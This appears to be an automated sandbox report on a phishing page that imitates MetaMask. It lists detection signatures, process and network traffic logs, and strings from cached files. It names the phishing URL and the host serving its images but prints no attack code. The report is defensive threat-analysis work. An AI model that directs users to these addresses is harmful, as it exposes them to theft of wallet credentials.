Edit tour

Windows Analysis Report
http://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/index.html

Overview

General Information

Sample URL:	http://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/index.html
Analysis ID:	1521706
Tags:	openphish
Infos:

Detection

HTMLPhisher

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Yara detected HtmlPhish64

HTML body contains low number of good links

HTML title does not match URL

Stores files to the Windows start menu directory

Uses insecure TLS / SSL version for HTTPS connection

Classification

Process Tree

System is w10x64

chrome.exe (PID: 1496 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6056 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2528 --field-trial-handle=2328,i,8026350852985058679,5280936340739271896,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2876 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/index.html" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

HTML

Source	Rule	Description	Author
0.0.pages.csv	JoeSecurity_HtmlPhish_64	Yara detected HtmlPhish_64	Joe Security
0.2.pages.csv	JoeSecurity_HtmlPhish_64	Yara detected HtmlPhish_64	Joe Security
0.1.pages.csv	JoeSecurity_HtmlPhish_64	Yara detected HtmlPhish_64	Joe Security

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: http://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/index.html

SlashNext: detection malicious, Label: Fraudulent Website type: Phishing & Social Engineering

Multi AV Scanner detection for domain / URL

Source: pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev

Virustotal: Detection: 13%

Perma Link

Multi AV Scanner detection for submitted file

Source: http://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/index.html

Virustotal: Detection: 16%

Perma Link

Phishing

Yara detected HtmlPhish64

Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: 0.2.pages.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML

Source: https://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/index.html

HTTP Parser: Number of links: 0

Source: https://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/index.html

HTTP Parser: Title: MetaMask does not match URL

Source: https://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/index.html

HTTP Parser: <input type="password" .../> found

Source: https://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/index.html	HTTP Parser: No <meta name="author".. found
Source: https://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/index.html	HTTP Parser: No <meta name="author".. found
Source: https://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/index.html	HTTP Parser: No <meta name="author".. found

Source: https://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/index.html	HTTP Parser: No <meta name="copyright".. found
Source: https://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/index.html	HTTP Parser: No <meta name="copyright".. found
Source: https://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/index.html	HTTP Parser: No <meta name="copyright".. found

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49751 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49739 version: TLS 1.2

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49751 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /index.html HTTP/1.1Host: pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.devConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.devsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.1.1.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.devsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /icon.png HTTP/1.1Host: bestfilltype.netlify.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /logo.png HTTP/1.1Host: bestfilltype.netlify.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /confirm.png HTTP/1.1Host: bestfilltype.netlify.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /full.png HTTP/1.1Host: bestfilltype.netlify.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /eye-close.png HTTP/1.1Host: bestfilltype.netlify.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tada.png HTTP/1.1Host: bestfilltype.netlify.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /icon.png HTTP/1.1Host: bestfilltype.netlify.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /gibberish-detector.js/gibberish.min.js HTTP/1.1Host: gtomitsuka.github.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.1.1.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /icon.png HTTP/1.1Host: bestfilltype.netlify.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /gibberish-detector.js/gibberish.min.js HTTP/1.1Host: gtomitsuka.github.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /index.html HTTP/1.1Host: pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.devConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: bestfilltype.netlify.app
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: gtomitsuka.github.io

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: private, max-age=0Content-Type: text/plain; charset=utf-8Date: Sun, 29 Sep 2024 00:27:32 GMTServer: NetlifyStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadX-Nf-Request-Id: 01J8XJSTAP46S4T6V98142QBZRContent-Length: 50Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: private, max-age=0Content-Type: text/plain; charset=utf-8Date: Sun, 29 Sep 2024 00:27:32 GMTServer: NetlifyStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadX-Nf-Request-Id: 01J8XJSTAPD4K5ACW9MHP4ACTJContent-Length: 50Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: private, max-age=0Content-Type: text/plain; charset=utf-8Date: Sun, 29 Sep 2024 00:27:33 GMTServer: NetlifyStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadX-Nf-Request-Id: 01J8XJSW10D7WHBCZTY5PQZZYWContent-Length: 50Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: private, max-age=0Content-Type: text/plain; charset=utf-8Date: Sun, 29 Sep 2024 00:27:33 GMTServer: NetlifyStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadX-Nf-Request-Id: 01J8XJSW137Z0A0J3D3EBQZHY6Content-Length: 50Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: private, max-age=0Content-Type: text/plain; charset=utf-8Date: Sun, 29 Sep 2024 00:27:34 GMTServer: NetlifyStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadX-Nf-Request-Id: 01J8XJSW8HJPVY2GA0Z8VH49HYContent-Length: 50Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: private, max-age=0Content-Type: text/plain; charset=utf-8Date: Sun, 29 Sep 2024 00:27:34 GMTServer: NetlifyStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadX-Nf-Request-Id: 01J8XJSWEB5JN33FZQ4WSVFWK5Content-Length: 50Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: private, max-age=0Content-Type: text/plain; charset=utf-8Date: Sun, 29 Sep 2024 00:27:34 GMTServer: NetlifyStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadX-Nf-Request-Id: 01J8XJSWS92A3433GMRR2ME0F2Content-Length: 50Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: private, max-age=0Content-Type: text/plain; charset=utf-8Date: Sun, 29 Sep 2024 00:27:36 GMTServer: NetlifyStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadX-Nf-Request-Id: 01J8XJSYEYRHP2A0AA0X53AQ6RContent-Length: 50Connection: close

Source: chromecache_87.2.dr, chromecache_85.2.dr	String found in binary or memory: http://jquery.org/license
Source: chromecache_86.2.dr, chromecache_91.2.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
Source: chromecache_93.2.dr	String found in binary or memory: https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
Source: chromecache_93.2.dr	String found in binary or memory: https://bestfilltype.netlify.app/confirm.png
Source: chromecache_93.2.dr	String found in binary or memory: https://bestfilltype.netlify.app/eye-close.png
Source: chromecache_93.2.dr	String found in binary or memory: https://bestfilltype.netlify.app/eye-open.png
Source: chromecache_93.2.dr	String found in binary or memory: https://bestfilltype.netlify.app/full.png
Source: chromecache_93.2.dr	String found in binary or memory: https://bestfilltype.netlify.app/icon.png
Source: chromecache_93.2.dr	String found in binary or memory: https://bestfilltype.netlify.app/logo.png
Source: chromecache_93.2.dr	String found in binary or memory: https://bestfilltype.netlify.app/tada.png
Source: chromecache_87.2.dr, chromecache_85.2.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=378607
Source: chromecache_87.2.dr, chromecache_85.2.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=449857
Source: chromecache_87.2.dr, chromecache_85.2.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=470258
Source: chromecache_87.2.dr, chromecache_85.2.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=589347
Source: chromecache_87.2.dr, chromecache_85.2.dr	String found in binary or memory: https://bugs.jquery.com/ticket/12359
Source: chromecache_87.2.dr, chromecache_85.2.dr	String found in binary or memory: https://bugs.jquery.com/ticket/13378
Source: chromecache_87.2.dr, chromecache_85.2.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=136851
Source: chromecache_87.2.dr, chromecache_85.2.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=137337
Source: chromecache_87.2.dr, chromecache_85.2.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=29084
Source: chromecache_87.2.dr, chromecache_85.2.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=687787
Source: chromecache_93.2.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js
Source: chromecache_93.2.dr	String found in binary or memory: https://code.jquery.com/jquery-3.1.1.min.js
Source: chromecache_93.2.dr	String found in binary or memory: https://code.jquery.com/jquery-3.3.1.js
Source: chromecache_87.2.dr, chromecache_85.2.dr	String found in binary or memory: https://developer.mozilla.org/en-US/docs/CSS/display
Source: chromecache_87.2.dr, chromecache_85.2.dr	String found in binary or memory: https://drafts.csswg.org/cssom/#common-serializing-idioms
Source: chromecache_87.2.dr, chromecache_85.2.dr	String found in binary or memory: https://drafts.csswg.org/cssom/#resolved-values
Source: chromecache_93.2.dr	String found in binary or memory: https://fonts.googleapis.com/css2?family=Poppins:wght
Source: chromecache_78.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLBT5Z1JlFc-K.woff2)
Source: chromecache_78.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLBT5Z1xlFQ.woff2)
Source: chromecache_78.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLCz7Z1JlFc-K.woff2)
Source: chromecache_78.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLCz7Z1xlFQ.woff2)
Source: chromecache_78.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLDD4Z1JlFc-K.woff2)
Source: chromecache_78.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLDD4Z1xlFQ.woff2)
Source: chromecache_78.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLDz8Z1JlFc-K.woff2)
Source: chromecache_78.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLDz8Z1xlFQ.woff2)
Source: chromecache_78.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLEj6Z1JlFc-K.woff2)
Source: chromecache_78.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLEj6Z1xlFQ.woff2)
Source: chromecache_78.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLGT9Z1JlFc-K.woff2)
Source: chromecache_78.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLGT9Z1xlFQ.woff2)
Source: chromecache_78.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v21/pxiEyp8kv8JHgFVrJJfecg.woff2)
Source: chromecache_78.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v21/pxiEyp8kv8JHgFVrJJnecmNE.woff2)
Source: chromecache_87.2.dr, chromecache_85.2.dr	String found in binary or memory: https://github.com/eslint/eslint/issues/3229
Source: chromecache_87.2.dr, chromecache_85.2.dr	String found in binary or memory: https://github.com/eslint/eslint/issues/6125
Source: chromecache_87.2.dr, chromecache_85.2.dr	String found in binary or memory: https://github.com/jquery/jquery/pull/557)
Source: chromecache_87.2.dr, chromecache_85.2.dr	String found in binary or memory: https://github.com/jquery/sizzle/pull/225
Source: chromecache_87.2.dr, chromecache_85.2.dr	String found in binary or memory: https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon
Source: chromecache_87.2.dr, chromecache_85.2.dr	String found in binary or memory: https://html.spec.whatwg.org/#strip-and-collapse-whitespace
Source: chromecache_87.2.dr, chromecache_85.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/forms.html#category-listed
Source: chromecache_87.2.dr, chromecache_85.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/forms.html#concept-fe-disabled
Source: chromecache_87.2.dr, chromecache_85.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/forms.html#concept-option-disabled
Source: chromecache_87.2.dr, chromecache_85.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/scripting.html#selector-disabled
